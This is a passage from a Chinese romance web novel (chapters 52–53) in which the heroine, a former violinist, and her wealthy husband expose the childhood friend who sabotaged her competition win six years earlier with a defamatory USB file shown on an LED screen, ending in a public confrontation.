他低沉的话语被风卷进她耳边格外温柔:“月月不要逼着自己成为完美的人偶尔软弱为什么不可以?反正我以后都会在你想躲的时候可以躲进我怀里我就在你身后。”
容微月对上他的目光心头烘软点点头傅蔺征沉声言:“当初的事你没错是我主动追的你你拿冠军也是靠自己的实力你不需要逃知道么?那个在的背后搞你的人才应该像阴沟里的老鼠一样人人喊打。”
受害者应该堂堂正正加害者才该万人唾弃。
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她闻言鼻尖发酸,点点头。
夜幕沉沉,银黑色科尼塞克开到新河剧场,傅蔺征直接驶入,进入内部通道,容微月诧异,“不是只能停在门口吗?
傅蔺征单手操作方向盘,语调漫不经心:“这是明恒的地儿,你说我能不能开进来?
“明恒?!
“明恒文化旗下的,前两年投资新建的,以后你就是老板娘。
她懵了,傅家到底有多少资产……
到门口,傅蔺征停好车,倾身过来吻了下她额头,说结束后就来接她。
她应下,下车后走到室内,按照柯尹梦发来的地点,找到了VIP练习厅。
透过一大面落地窗往里看去,厅内地面铺着深色胡桃木地板,三面墙做了镶嵌着的古典雕花的木质吸音板,头顶的水晶长灯给房间洒下光亮。
座椅围成一圈,柯尹梦正坐着,酒红色长裙格外明艳,一个男人正搂着她,两人亲昵聊天。
容微月敲门进去,柯尹梦闻声转头看到她,眉梢挑起:“微月你来了。
柯尹梦立刻牵着身旁的男人走来,容微月和她打招呼,柯尹梦笑:“还以为你不会来了。
“今晚有时间,我好像还来早了。
“是他们迟到了,柯尹梦红唇弯起,挽住身旁英俊潇洒的男人,“给你介绍一下,我男朋友,邰朝,国际音乐制作人,现在自己开个了工作室。
柯尹梦笑着看向邰朝:“亲爱的,这个就是微月,和我师出同门,曾经很厉害呢。
邰朝一米八,模样俊朗帅气,朝容微月笑:
“之前听梦梦提起过你,说你拉小提琴特别有天赋,本来能成为一个很厉害的小提琴家,今天终于见到**了。
容微月心底微涩,淡笑:“没有,我现在都不怎么拉了,尹梦才是佼佼者。
柯尹梦莞尔打趣:“我这是龟兔赛跑,后来居上了。
她拉着容微月坐下,容微月视线随意一转,看到桌面上的那把小提琴,柯尹梦注意到她的目光,拿给她看:“这琴是邰朝送的,去年他从德国带回来的,说是StefanGreiner的手工琴,挺贵的,不过上舞台真的好用,音色很稳。
“嗯。
柯尹梦挑眉:“你喜欢送你,反正我琴很多。
容微月摆手,“不用。
柯尹梦长腿交叠,红唇弯起感叹:“微月,你还记得我们当初许的愿吗,以后要在最美的音乐厅用最好的小提琴拉曲子,只可惜,只有我坚持下来了。
容微月淡笑:“能实现自己的梦想挺好的,看得出来你很喜欢现在的生活。
柯尹梦钻石耳坠微微摇晃,勾唇:“以
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第 52 章 “是没有男朋友,有先生。”...
第52章第五十二章
【“是没有男朋友,有先生。】
chapter52
练习厅里灯火通明,头顶的水晶吊灯在胡桃木地面折射柔光,傅蔺征拎着琴盒出现,一句“太太犹如一颗**重重砸下,瞬间引爆全场。
人声像是被猛然推高的音量键,轰然沸腾:
“太太?!傅蔺征和容微月结婚了?!
“我就说微月手上戴着的是婚戒,你们还不信我,和傅蔺征手上是一对啊!
“他们俩不是分手了吗!天哪怎么可能……
议论声此起彼伏,几乎要掀翻屋顶,黑裙女看到傅蔺征搂着容微月,脸色煞白,喉咙像被卡住一样结结巴巴:
“容微月……你、你不是说你没男朋友吗?!
傅蔺征掀眼看去,唇角挑起抹冷笑,把容微月护在怀中,一字一句冷拽桀骜:
“是没有男朋友,有先生,有问题么?
“……
全场震撼,黑裙女哑然无言,像是被狠狠抽了一巴掌,而周围几个之前还在暗讽容微月别攀高枝的人心底妒意爆棚。
几人没想到打脸来得这么快……
所以容微月身上的那些名牌不是假冒的,全都是真的,那只不过是傅太太身份应有的陪衬。
凭什么容微月现在又能和傅蔺征在一起了?!!
这时,又有几个剧场的负责人快步进来,见到傅蔺征,忙上前点头哈腰,恭敬问候:
“傅总,有失远迎,您什么时候到的?也不提前通知一声,让我们好好准备。
傅蔺征淡淡和他们握手:“陪我太太来聚会,私事。
几人看向容微月,心底震惊忙和她握手:“原来是夫人亲临,是我们怠慢了,这间练习厅太小了,剧场最顶级的星空琴厅今晚正空着,那才配得上夫人,我们立刻安排,去那间如何?
能在这间VIP练习厅练习,已是是很多人梦寐以求的,柯尹梦和邰朝也是托了关系才定下,今晚她邀请同学老师们来此,本是想炫耀下自己的人脉与地位,谁知道却被说成“太小配不上容微月。
柯尹梦指节捏紧酒杯,脸色的血潮褪了几分。
容微月弯唇婉拒:“不用了,这里就可以。
负责人愧疚应下:“我们不知道是夫人来了,下次您提前打个电话,我们肯定给您安排好。
周围有人惊愕问:“他们是谁啊?
“你不知道吗,说话那个是新河剧场的总经理,也是明恒文化的艺术总监。
“啊?这剧场是明恒旗下的?!
“对啊,星空厅从来不对外开放的,这就是老板娘的待遇啊……
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周围羡慕惊叹,工作人员送上了精致的茶点,总经理说不再打扰就先离开,随后许多人好奇八卦询问容微月,柯尹梦走上前,提起笑容:
“微月,你也太不够意思了啊,我们都以为你和傅总分手了,这样好的消息也不提前告诉大家?
傅蔺征仍揽着容微月,看了过来,先一步开口,语调宠溺:“月月比较低调,一开始没打算公开,是我忍不住想在她的老朋友们面前露个脸。
大家直呼着狗粮可太甜了,晓安笑问:“师姐,是你和傅总后来又复合了吗?
容微月:“嗯。
傅蔺征眉梢抬起,打趣的声音清晰落地:“当初月月甩了我,现在我终于又把她追回来了。
男人毫不介意当下位者,给容微月撑腰。
大家震惊,所以当初是容微月提的分手,傅蔺征一直都是主动的那个?!
黑裙女和短发女俩人都傻了。
容微月给傅蔺征介绍着在场的人,先是蔡宁老师,蔡宁老师慈祥笑笑,说一直记得傅蔺征:
“微月每次去外地比赛,你都会陪着,有次大冬天她发烧,你半夜叫不到车,跑去给她买药,我那时候就看得出来你是真心喜欢微月,你们分手我真挺惋惜的,好在啊,有情人终成眷属。
两人相视一笑,傅蔺征说:“结婚时一定请老师来喝喜酒。
蔡宁笑应。
容微月而后介绍柯尹梦和邰朝,“当初一起和我练琴的尹梦,这是她男朋友。
“傅总好,我是邰朝……
邰朝立刻上前,恭敬地给傅蔺征递去名片,明恒集团的太子爷谁不想攀关系。
柯尹梦第一次看到男朋友这么点头哈腰,而傅蔺征淡定自若八风不动,双方的身份地位差距被彰显得淋漓尽致,她心底翻滚,脸色快要绷不住。
打了一圈招呼,有人热情邀请傅蔺征入座:“傅总,您来可千万别走了,一起参加吧?刚好我们还邀请微月来一首呢。
傅蔺征低头看向小姑娘,唇角挑起,还要寻求允准:“傅太太,我能陪你么?
容微月酒窝点起,拉住他的手,“当然了。
大家给他们腾了中间的位置,傅蔺征柔声问她:“想拉琴么?
他大掌抱住她的手,掌心的温度渡过去,熨烫抚平她忐忑的心:“不用紧张,我陪着你。
容微月对上他单单倒映着她的眸,心底的恐惧也被驱散。
她点点头,于是傅蔺征打开琴盒,把她的小提琴取出,有懂行的人眼尖认出:
“这是LuthierAlbrecht的馆藏琴吗?!
LuthierAlbrecht身为瑞士的
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百年制琴世家这款琴也是典藏级别面板选用阿尔卑斯山北坡的百年云杉背板和侧板则是波斯尼亚枫木材质均自然风干长达八十年以上市价涨到了七位数而且不是有钱就可以买得到的。
这把吊打现场所有的很多世界出名的小提琴家都无法拥有众人蜂拥围上来欣赏柯尹梦攥着自己的琴想到刚刚还说要送给容微月指尖几乎要在掌心掐出血。
而后容微月走上台在灯光下站立气质端庄温柔头顶的水晶长灯如银河倾泻而下为她披上一层光晕。
时隔多年再度在人前拉琴她紧张得还是掌心冒汗然而抬眼看去和六年前不同此刻傅蔺征就坐在正下方黑眸盛满温柔和骄傲望向她为她挡去外界一切风声和质疑。
就像高三那年她每一次在琴房练琴转头就能看到他在外面守护着她。
论世事如何百转千回唯独他看向她时眼底的爱意从未曾改变。
有他在她还有什么可害怕呢。
她心静下来垂眼思忖几秒唇畔清柔弯起:
“那就弹一首大家都很熟悉的曲子吧。”
她将琴托起架在锁骨和肩膀之间微微倾首如瀑的黑发低垂葱白玉指握起弓落在弦上。
一缕琴声响起如流水淌过青石丝滑入人心低沉的旋律缓慢响起时光仿佛**到旧日的午后温柔的风卷过练琴机构的长廊许多学生在那儿拉琴琴声略带青涩却格外真挚。
紧接着旋律渐渐上行音色愈渐清亮融进温柔的和弦节奏也跟着轻快起来仿佛是那个午后同学们聚在一起欢声笑语研究着曲谱。
容微月拉着琴温柔的眸如千雪融化视线落在琴上睫毛承托着头顶落下的细碎金光。
她没有看琴谱那琴谱已然刻在心底她用更稳的弓速托住音符富有力量又融合进她的温柔和细腻。
大家听着很快反应过来
熟悉的旋律让很多人想起了那段练琴的时光大家指腹长茧、手臂发麻有时难得哭着说不想学了可老师和朋友们的鼓励或者是一次成功又会让人抹掉眼泪重振旗鼓。
那段日子充满了挫败感却也充满了成就感是这辈子不可磨灭的珍贵回忆。
容微月选择这首曲子也是因为这是姐姐容思晴最喜欢的曲子小时候她刚学琴拿琴的姿势总是不标准琴弓老是歪着每次姐姐都会耐心纠正她的姿势陪着她一遍遍练习。
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
那时候她们一起在家里改编这首《旧日时光》,每一个音符,每一个美好的画面都深深刻在容微月心底。
她最爱的姐姐已经不在了,但是这首曲子却像是姐姐留给她珍贵的礼物,永远停在她的记忆里。
往事一幕幕回荡在眼前,容微月拉着琴,心间翻涌热浪,就在这一瞬间,她忽然明白,不管自己变成什么样子,姐姐都会爱她。
她曾经觉得那场小提琴比赛上的事让自己蒙羞,也让姐姐蒙羞了,但若容思晴还活着,她肯定会温柔地告诉她:“月月,我永远都相信你。”
这个世界的恶意和伤害那么大,但姐姐一直都在陪着她,或是风,或是云,或在每一首曲中,从未消失,从未远离。
最后经典的主题旋律再次出现,尾声渐渐收束,如雪花落地,温柔安放下所有回忆。
容微月放下琴弓,朝大家微微颔首,练习厅里静了两秒,蔡宁老师眼眶温热出声:“微月,你这首曲子改编得太好了,你还像当年那样,一直都没变。”
随后全场爆发开热烈的掌声:“真的好好听啊,太感动了……”
“微月就是个大才女!!不愧是她!!”
“这首曲子我好多年没听了,我好怀念从前和你们一起练琴的时候啊,这曲子我当初学了一个月,我边练边哭哈哈哈。”
许多人都为之动容,就连黑裙女和短发女都被带着想起自己的时光,眼眶不禁发红。
晓安道:“要我说还得是师姐,从前蔡老师就说她的琴声感染力特别强,这种根本是学不来的。”
旁人附和:“我最喜欢微月拉琴,从不刻意炫技,技巧全在旋律里。”
“微月是我们这一批最厉害的,当年她又会拉琴又会谱曲,要是她走专业的这条路,绝对是大名鼎鼎的小提琴家。”
“没错!微月你还说你手生了,你这是深藏不露啊!”
大家热烈夸赞,容微月感动地鼻尖酸涩,看向傅蔺征的目光,男人也看着她笑,眼底满是自豪。
随后容微月走下舞台,坐到傅蔺征旁边,男人握住她的手,含笑嗓音落在她耳边:“月月,你也是我的骄傲,你特别特别棒。”
他早就知道,不论何时,他的小姑娘拿起琴就是光芒四射,永远耀眼。
容微月闻言一笑,“因为你陪着我,我就不怕了。”
大家仍旧在夸赞,唯独一道目光暗暗看去,眼底翻滚着妒意。
迟些时候,琴聚结束。
有几个昔日的朋友来找容微月加联系方式,还把她拉到大家经常联系的群里,热络地邀请她下次再聚,那些看不起容微月的也全都老实了,不敢招惹。
和朋友们告别,傅
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蔺征搂着容微月往剧场外走,容微月抱着怀中的琴,抬眼看他,眸光亮晶晶:
“周到先生,你怎么这么周到啊?”
傅蔺征慵懒勾唇:“我想你应该有需要,送你来后我又回家拿了,谁知道刚想来找你,就听到了你被起哄,我就进来了。”
“太及时雨了,”容微月弯眉,“我老公怎么这么好。”
傅蔺征压平唇角,“常规操作,我的责任不就是随时随地保护我的公主?”
他知道她一个人也没问题,但那一刻,他还是想冲进去护在她身边,让她不再像六年前一样孤身一人。
容微月感动挽住他:“曾经是姐姐,现在是你保护我了。”
傅蔺征挑眉,“保护完呢?怎么也没点表示。”
她垫脚亲了下他脸颊,“这样可以吗?”
男人悠然道:“现在我快乐的阈值提高了,你以为光投怀送抱一个吻就够了?”
感觉到耳根被揉着,她羞赧嗔他:“不管你,是你自己迷失初心了。”
傅蔺征扯起唇角,低声在她耳边道:“行,今晚老子光在外面磨着不进去,保证绝对不迷失初心。”
她脸颊泛红,“不行……”
“这不是你说的么?”
两人说笑走下台阶,傅蔺征手机震动,他看到信息,他眉头微锁,语调正经几分:“宝宝,问你个事。”
“怎么了?”
“你那个姓柯的朋友,柯尹梦,她有没有参加当年的明恒之杯?”
“她?”容微月回忆着,“她好像有参加,但因为手受伤了,总决赛就退赛了,怎么了?”
傅蔺征神色微凛,将刚查到的信息道出:“柯尹梦的父母不是离婚了么,但她父亲正是当年外包团队天晟视效的副经理,负责机房控制。”
明恒之杯结束一个月后,柯尹梦的父亲不知为何主动辞退离开天盛视效,也离开了北京,而决赛那天本该是他的排班,却临时换成了实习生。
容微月听着,脑中猛地一沉。
柯尹梦曾经的话飘来耳边:
“微月,你都不拉小提琴了吗?当初那些事不应该那么影响你,太可惜了。”
“微月,我在京市没几个朋友了,我们是从一起玩到大的,在这里我和你最好了。”
“我需要全世界都看到我,为了实现我的目标,会扫清一切的障碍……”
一瞬间,她后背发凉。
从小到大,柯尹梦经常和她对比,老是开玩笑说嫉妒她,比不过她,当年她出事后,柯尹梦就再没有联系过她,从小玩到大的好朋友连一条安慰或者询问的短信都没有,想想都觉得奇怪。
此刻,各样的事情叠在一起,拼凑出令人胆寒的可能。
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傅蔺征沉声言:“之前我们都在想搞你的人是不是你决赛的竞争者,就忽略了其他人,月月,我没有挑拨你和你朋友关系的意思,但是你觉得她有嫌疑么?”
容微月掌心渗出冷汗,难以置信的同时,又有一种齿轮刚好卡住的感觉,“……有这个可能。”
柯尹梦父母离异,她自幼跟着母亲长大,日子清苦,性子要强又自卑,俩人一起学琴,老师们很喜欢拿她们做对比,但更多夸赞容微月,有时候柯尹梦还会和她闹小脾气,甚至开玩笑说,要是没有她就好了,这样老师就只会表扬自己了。
有可能那些话根本就不是开玩笑。
如果真的是她,那这么多年的同窗情谊就像个笑话。
傅蔺征说他现在已经安排人同步去找柯尹梦的父亲了,他揉揉她后颈:“别紧张,一切都等查到确切证据再说。”
她深吸一口气,点点头。
身后传来脚步声,她转头看到柯尹梦和邰朝也从台阶走下来,柯尹梦同样看到她,怔了怔,维系起红唇的笑容,走过来。
容微月水眸沉凝,而后肩膀就被傅蔺征揽住,男人护着她,审视的黑眸抬起看去。
头顶落下雪花,两人长身而立,气场强大。
柯尹梦和邰朝走到面前,看向两人,想起高三时每次容微月在机构练完琴,傅蔺征也是这样来接她。
这么多年了,容微月没跌入谷底,反而过得越来越好,还能这样被人守护着。
凭什么。
柯尹梦提起僵硬的红唇,笑笑:“微月,今晚听了你的曲子又让我想起从前和你一起练琴的时光了,你还是那么优秀,还有你和傅总感情真好,傅总阅尽千帆,还是觉得你这个初恋最好。”
容微月听出嘲讽意味,忽而唇畔弯起笑:“是吗,这些年我一直忙花丝镶嵌,都很少练小提琴,可能是老天爷赏饭吃吧,不需要怎么努力。”
第一次听到容微月如此骄傲,柯尹梦脸色绷开,随后容微月继续莞尔道:“而且也要感谢我老公,当年一直陪着我练琴,我们重逢后他又是给我布置琴房又是给我买小提琴的,怎么办呢,大概是上天格外眷顾我,我很幸运能被他一直这么爱着,对吧?”
傅蔺征见小姑娘看过来,眼底藏匿狡黠,唇角挑起,低撩道:“当然了宝宝,一直都只有你。”
“……??”
柯尹梦气得笑容崩裂,脸成了猪肝色。
容微月看向柯尹梦,感叹:“只可惜当年的明恒之杯我被人恶意污蔑,取消了成绩,不过我相信,白的不能说成黑的
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,那个在背后搞事的人,迟早会翻车的,你说对吧尹梦?”
柯尹梦指尖一抖,脑中一瞬间空
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白:“你……查到是谁了?”
容微月静静一笑:“没有啊我不打算查了我相信天道有轮回抢了别人的终究要还回来她会受到惩罚的。”
柯尹梦掐着掌心提唇说是挽住邰朝忙道:“雪下大了那我们先走了。”
两人往前走容微月叫住她:“尹梦。”
柯尹梦僵了僵“怎么了?”
容微月弯唇:“周五的演奏会祝你演出成功到时候我有空会去看的。”
“……好。”
走下台阶柯尹梦踉跄了下差点摔倒邰朝忙扶住她“没事吧?怎么脸色都白了?”
柯尹梦喉间紧绷摇摇头;“没事可能是有点冷。”
“我们快回去车上……”
两人离开台阶上容微月和傅蔺征将柯尹梦的样子收入眼中。
“我感觉就是她。”容微月冷声道。
刚刚她就故意刺激了下柯尹梦的脸色就不对劲了。
傅蔺征脱下外套给她披上“等证据绝对不会放过她。”
容微月点头被傅蔺征牵着往下走
傅蔺征揉揉她的头无奈柔声道:“我就知道你会有这个想法你是被伤害的一方为什么要反思自己?在这条路上有人会给你递玫瑰就会给你捅刀子是对方太会伪装利用你的善良你没有任何的问题知道么?”
傅蔺征总是这么了解她她觉得是自己太笨了但他的话立刻消除了她身为受害者的自责。
她点点头傅蔺征吊儿郎当道:“别去内耗也别去想为什么这个世界上很多恶意都是没来由的反正我向来这么想有人不喜欢我统统都是他们自己的问题什么眼眶。”
容微月眼睛弯成月牙:“傅老师厚脸皮情绪稳定小课堂开课了我又学习到了。”
傅蔺征嗤笑:“容微月老子安慰你你还骂我是吧?”
“厚脸皮多好啊才不是骂人做人嘛要先自己开心。”
傅蔺征笑着揽住她往车那边走去:“走了回家我们买点夜宵想吃什么?”
“想吃……烧烤和啤酒。”
“大晚上的这么不健康?”
容微月说就放纵一回傅蔺征俯身看她“奖励呢?”
她羞赧:“今晚多一次?”
傅蔺征挑唇黯声低蛊:“行啊我本来只想要六次的那看来要非常6+1了。”
“傅蔺征你要累死我……”
她眉眼弯弯要打他。
-
这场琴聚之后傅蔺征安排人继续调查容微月也不忘记忙碌晴月阁的事务。
明年年
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初和俄罗斯漆画厂的联名饰品就要交付成品了大家赶工着于此同时直播的事也提上议程容微月的首次直播就反响很好有上万人观看。
镜头前她面容温婉声音轻柔手中所做的饰品精致好看大家都称她是晴月阁的美女老板短短几日她个人微博和晴月阁官博的粉丝数就节节攀升。
忙碌着工作几天后她和傅蔺征得知了一个好消息——那个实习生找到了。
实习生名叫林翰大四那年进入天晟视效大学毕业就回了老家沙市六年过去他现在在老家一个会展中心做多媒体工程主管。
因为他的手机和联系方式都换了又去了外省傅蔺征动用了许多人脉才查到。
傅蔺征和容微直接赶往沙市找到了林翰对方得知傅蔺征和容微月的身份吓得脸色发白在逼问下颤声道:“不是我这件事和我没关系我也是被逼的……”
林翰说当年柯尹梦的父亲柯旺山是他领导两人关系不错柯尹梦高考后经常来到剧场练琴有时候就看着柯旺山工作所以林翰也认识柯尹梦。
决赛那天颁奖典礼前柯尹梦到控制机房来找林翰把一个U盘给他:“林翰哥这是我爸让我转交给你的里面是颁奖人员的名单你等会儿直接放出来就好。”
林翰怎么会怀疑一个外表单纯的小姑娘的险恶用心他也马马虎虎就放了发现出事的时候已经来不及了他心慌去找柯旺山要还给容微月清白可柯旺山给了他十万的**说只要一口咬定自己毫不知情离开天晟视效没人会再追究但如果他敢说出来他以后在这行就别想混了。
林翰毕业后离开了北京始终良心不安又不敢揭发只想让这些事都烂在回忆里。
但没想到真相终有公开的一天。
林翰和容微月道歉眼底通红:“我知道自己做错了可我没勇气去举报啊我怕我现在的生活全毁了……”
林翰想到什么颤声道:“不过我当时留了个心眼我这边还有个录音。”
容微月和傅蔺征微怔傅蔺征沉声道:“录音给我们。”
与此同时傅蔺征的人也查到了柯旺山所在的地方。
周五早晨容微月和傅蔺征直接飞过去。
柯旺山如今在老家的小镇开了个灯光音响租赁店铺
容微月有些诧异柯尹梦生活得那么优渥怎么她父亲如此可怜……
他们走过去问他是不是柯旺山柯旺山一脸困惑点头总觉得容微月有点眼熟她自报
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姓名:
“叔叔,还记得我吗,我叫容微月,六年前明恒之杯决赛上,被你女儿当众泼脏水的人。”
柯旺山手中的螺丝刀砰地一声掉在地上,脸色煞白,两人请他过来,他垂眼颤声道:“等我忙完,我今天的工还没做完,不然拿不到工钱。”
容微月和傅蔺征相视一眼,末了在旁边等着,最后柯旺山忙完被请来一个房间,他听到那段录音,整个人像是被劈了道雷,脸色彻底垮了下去。
傅蔺征看向他眉眼森寒,声线沉冷:“你不说出实情也没事,反正这个证据就足够让你女儿身败名裂了。”
柯旺山眼眶发热,说U盘里的东西当初是柯尹梦自己交给林翰的,他也是在出事后才知道,但他只能替女儿隐瞒下来:“梦梦是我女儿,我能怎么办?我要是说出去了,她以后怎么抬起得起头……”
傅蔺征怒火沉沉,一把揪住他的衣领:“你心疼你女儿,那别人的女儿呢?!你就看着另外一个无辜的女孩子被泼脏水,名誉尽毁?!”
傅蔺征沉声逼问:“你知道当时那个LED屏幕上的话给一个十八岁的女孩带来多大的伤害么?她的冠军被取消,万人唾骂,改了志愿离开了北京,从此以后留下了心理阴影,你拿别人的前途去换你女儿的前途,你不会良心不安?!”
柯旺山听着,泪如雨下,声音颤抖:“我错了……是我糊涂,我替梦梦道歉,求求你们再给她一次机会,不然她这一辈子就毁了啊……”
说着,柯旺山扑到容微月面前,想跪下来,却被保镖拦下,柯旺山和她道歉,容微月眼红看着他:
“叔叔,你不想毁了她,那我的人生呢?”
如果没有柯尹梦的算计,也许后来就不会发生那么多事,她和傅蔺征可能就不会分开六年,她也不会和父母冷战,放弃自己的前途逃去杭市,一个人咬牙扛过那六年。
她知道柯尹梦不是直接造成一切的人,但她就是最开始的**,那个曾经她无比珍惜的朋友,却在陷害背刺她,她凭什么要选择原谅?
傅蔺征将容微月护在身后,冷寒的目光落向柯旺山,薄唇吐出一字一句:“你女儿做的事,一件都逃不了,这是她该付出的代价。”
柯旺山闻言,如被抽了力气,瘫倒在地上。
……
当天,几人买了机票,飞快赶往京市。
真相在意料之中,容微月也早就做了心理准备,反而很平静。
盛柳和容承业询问情况,她说了此事,殷绿恰好也打来电话,得知此事也特别生气,说要陪着她。
几个小时后,天色落幕,京市的新河大剧院在夜晚亮起灯火,如海面升起的灯塔。
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第 53 章 chapter52后台的白炽灯冷...
第53章第五十三章
【chapter52后台的白炽灯冷得刺目如同审……】
chapter52
后台的白炽灯冷得刺目如同审判台前的灯毫不留情地打在柯尹梦身上撕裂她的伪装听到傅蔺征的话她脸颊血色褪尽脊背发抖。
今晚本该是她人生中最耀眼的时刻期待筹划了很久她还幻想着今晚演奏会结束各大媒体会争相地把她捧为“中国青年小提琴家的未来”她要被追捧被喜爱名利双收把曾经那些看不起她的人踩在脚底。
可是她没想到当年的污点会在此刻被揭开。
隔着幕布观众席的哗然声和唾骂声如海啸扑面而来将柯尹梦的胸腔挤压捏碎她所有的体面、骄傲、沾沾自喜都在这一刻轰然坍塌曝光在众人眼中。
这时容承业、盛柳、容新旭还有殷绿紧跟其后他们一早就陪容微月而来刚刚也见证了全场。
如被围剿柯尹梦呼吸急促脑中空白发麻的手掐着掌心愤怒羞恼地瞪向容微月和傅蔺征:
“这是你们一早就筹划好的……”
他们要在今天这个时候羞辱她!!
容微月看着她的眸光清冷如刃提起红唇:
“这不是和你学的么?你这么美好的一面难道不应该让所有的人欣赏一下么?”
柯尹梦唇瓣颤抖五官僵硬得仿佛石膏像已然失去了思考能力转身想逃就被傅蔺征拦住眼底冷如寒冬:
“柯女士你现在知道害怕了?你以为跑了就能把当初的事情抹掉?”
殷绿也走过来“柯尹梦等了六年才把你抓出来!你真是人面兽心啊!!”
柯尹梦眼眸颤抖台下的邰朝和柯母赶过来柯母立刻护着女儿惊愕地看向他们:“这是什么意思?到底发生了什么……”
柯母下意识保护女儿看到容微月认出:“微月?怎么是你?你不是小时候和梦梦经常一起练琴的吗?这是不是有什么误会啊有什么事好好说你们别陷害我女儿!”
殷绿生气:“阿姨敢情你女儿做的肮脏事你还不知道啊?是她陷害别人刚才的屏幕上写得清清楚楚了
殷绿把现场的视频拿出来给柯母和邰朝看盛柳红了眼眶:“当时我女儿拿了第一名就被你女儿泼脏水了你知道安歇恶心的话对于一个小姑娘意味着什么?!如果是你女儿被这么对待你心里什么感受?!”
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当时很多人骂容微月是**,淫/.荡,造黄谣编排她和傅蔺征,还说她有多个男朋友,甚至还有猥琐男给她发信息说她看过去乖没想到这么主动,问她愿不愿意试试。
柯尹梦想要把容微月踩在脚底,却是对她这个从小一起学琴的好朋友,用如此恶毒的方式。
手机里的画面胜过千言万语,邰朝和柯母看着视频,眼底掀起惊涛骇浪,傅蔺征嗓音沉冷:“柯女士以她父亲柯旺山的名义把污蔑我太太的U盘给了值班的实习生,事后柯旺山给了对方十万的**,刚才的录音就是铁证。”
柯母眼神颤着望向女儿,还是难以置信:“梦梦,这真的是你做的吗?”
柯尹梦对上母亲的目光,在母亲面前不想承认,还死鸭子嘴硬:“不是我,我没有……”
殷绿:“柯尹梦,证据都在这儿你还狡辩?”
这时,后方的楼梯口传来一道破碎沉哑的中年男声:“梦梦,我们就认错吧……”
柯尹梦猛地一惊,扭头看去,就见柯旺山从后台走了出来,一身破旧干瘦,眼底猩红颓然望着她。
柯旺山想为当初的事负责,也不想看着女儿这样一错再错下去:
“梦梦,当初的事是咱们做错了,是我不该包庇你偏袒你,这是害了你,也害了其他孩子……”
柯尹梦的脸色瞬间扭曲,像被撕裂的布:“你闭嘴!谁让你来的!”
柯尹梦情绪失控,把手里的东西砸过去,发疯:“你是我爸,你还替别人说话?!当年要不是你没帮我收拾好残局,被人录音了,我会被发现吗?!我现在过得这么好,马上就要成为国内知名的小提琴家了,你竟然帮他们来毁了我!”
容新旭怒火沉沉:“你们都听听,她全都承认了!就是她害了我姐姐!”
柯母震惊看向女儿:“梦梦,你怎么能做这样的事呢!”
看到母亲失望责备的眼神,柯尹梦压抑已久的情绪也彻底爆发了:
“我就是看不惯容微月怎么了,我就是见不得她好,凭什么所有人都喜欢她,她轻轻松松就能拿到我奢望的一切,我就是恶心她,我就是想毁——”
“啪——!”
一声脆响狠狠在柯尹梦耳边炸开,火辣辣的疼痛灼开半边脸颊。
柯尹梦整个人被打得向后一仰,嘴角瞬间出了血,捂着脸僵在原地。
柯母抬起的手还在微微颤抖,胸口剧烈起伏着,怒火烧得眼底发红:“柯尹梦,你太让我失望了!”
柯母看着她,声音字字如鞭:“从小到大我是怎么教育你的?!我希望你在成为优秀的小提琴家之前,先成为一个善良端正的孩子,微月从小和你是好朋友,你们一起练琴
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她经常把琴谱借给你还请你去家里吃饭你遇到困难的时候她一遍遍陪着你练你都忘记了?你当着那么多人的面抹黑她我以前怎么教你的?!不管别人怎么样我们脚踏实地做好自己的事不能攀比嫉妒!”
柯尹梦闻言死死咬着下唇泪水在眼底打转整张脸烧得通红。
她知道容微月一直把她当好朋友真心待她但是她就是控制不住地嫉妒从老师第一次在课堂上批评她不够努力而夸赞容微月有天分弹得好开始她就生出了对比的心态。
就像普通人从来不嫉妒比尔盖茨、巴菲特等那些世界富商有钱却会羡慕嫉妒那些曾经混得和自己差不多的同学同事柯尹梦最嫉妒的就是离自己最近的容微月。
她觉得老天爷是不公平的凭什么容微月比她有天分比她漂亮比她招同学喜欢比她家境好甚至连傅蔺征那样的顶级权贵的太子爷都要倾其所有去追求。
哪怕容微月后来选择了工艺美术的艺考路却还是能够在毕业时拿到明恒之杯的冠军。
那场明恒之杯柯尹梦准备了很久冲着夺冠去的可是选拔那天她却看到傅蔺征陪容微月来报名后来容微月成绩一路领先她就觉得对方肯定是靠着傅蔺征的关系上去的。
直至决赛前她的手意外受伤绝望和怨恨交织她决定毁掉容微月让她在所有人心中的美好形象碎裂。
就算自己拿不到冠军她也不想让容微月拿到。
愧疚吗后悔吗她承认有过。
但是那些情绪很快就被大仇得报的快意代替她消除了挡在前面的人可以去拥抱更多本就属于她的掌声和舞台。
此后的六年她走上了别人艳羡的高光之路毕业于顶尖音乐学府师从名门世界各地巡演成为出名的小提琴演奏者收获了爱她宠她的恋人让母亲过上了好的生活。
她也以为上天也早已遗忘了那一桩阴暗的往事。
但她没有想到很多事不是不报而是时候未到。
在她最接近顶峰、最万众瞩目的这一夜曾经她加在容微月身上的痛苦加倍回馈到了她身上。
容承业看着她沉声:“毫无廉耻毫无道德外表看过去再光鲜亮丽又如何
柯尹梦脸色苍白眼底滑下泪来容微月抬眼淡漠地看向她:“柯尹梦我一直把你当朋友重逢的时候你热络地和我打招呼、叫我来琴聚我以为你是珍惜我们的友谊没想到你只是想和别人来揭开我的伤疤羞辱我。”
如果那天在琴聚上她心态脆弱一些没有勇气拿起小提琴傅蔺征也不再她
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
的身边那她从那场琴聚回来该有多难受。
六年前她和柯尹梦失去联系她都没有怀疑过对方一直对她没有设防。
容微月唇角勾起抹弧度:“柯尹梦
自始至终是她的心魔捆绑住了她。
“我的失败不代表你的成功相反我们的成功也从来不冲突你根本就找错了你的价值。”
柯尹梦眼底怔然心里构建的一切在此刻全然碎裂她垂头落着泪。
容微月清冷言:
“我不需要你的道歉因为毫无意义就像你现在哭也不是因为愧疚只是因为被揭穿罢了。”
她不会原谅这样的人。
柯尹梦死死咬着唇傅蔺征抬手将容微月护在怀中嗓音冷锐:
“柯女士我的律师团队已经拟好了律师函很快就会送到你手上我会为我太太追究到底。”
傅蔺征扯起唇角喉间吐出一字一句:
“你不是喜欢万众瞩目的感觉?放心我会动用所有人脉和手段让你的名字从此在业内被钉在耻辱柱上人人观摩。”
这句话如同最后一记重锤砸碎了柯尹梦最后的自尊她整个人仿佛被抽空力气快要跌倒在地。
傅蔺征带着容微月离开其他人跟上邰朝挣脱开柯尹梦的手她心慌拉住他:“邰朝我不该那样做我知道我错了我以后绝对不会再这样了你不会丢下我这个未婚妻不管的对不对我是真心喜欢你的……”
男人带着失望和愤怒看向她:“和你这样的人同床共枕你觉得我不会害怕么?”
柯尹梦哽咽:“邰朝我错了……”
他一把甩开他的手“柯尹梦就当我们从来没认识过吧。”
男人头也不回地离开。
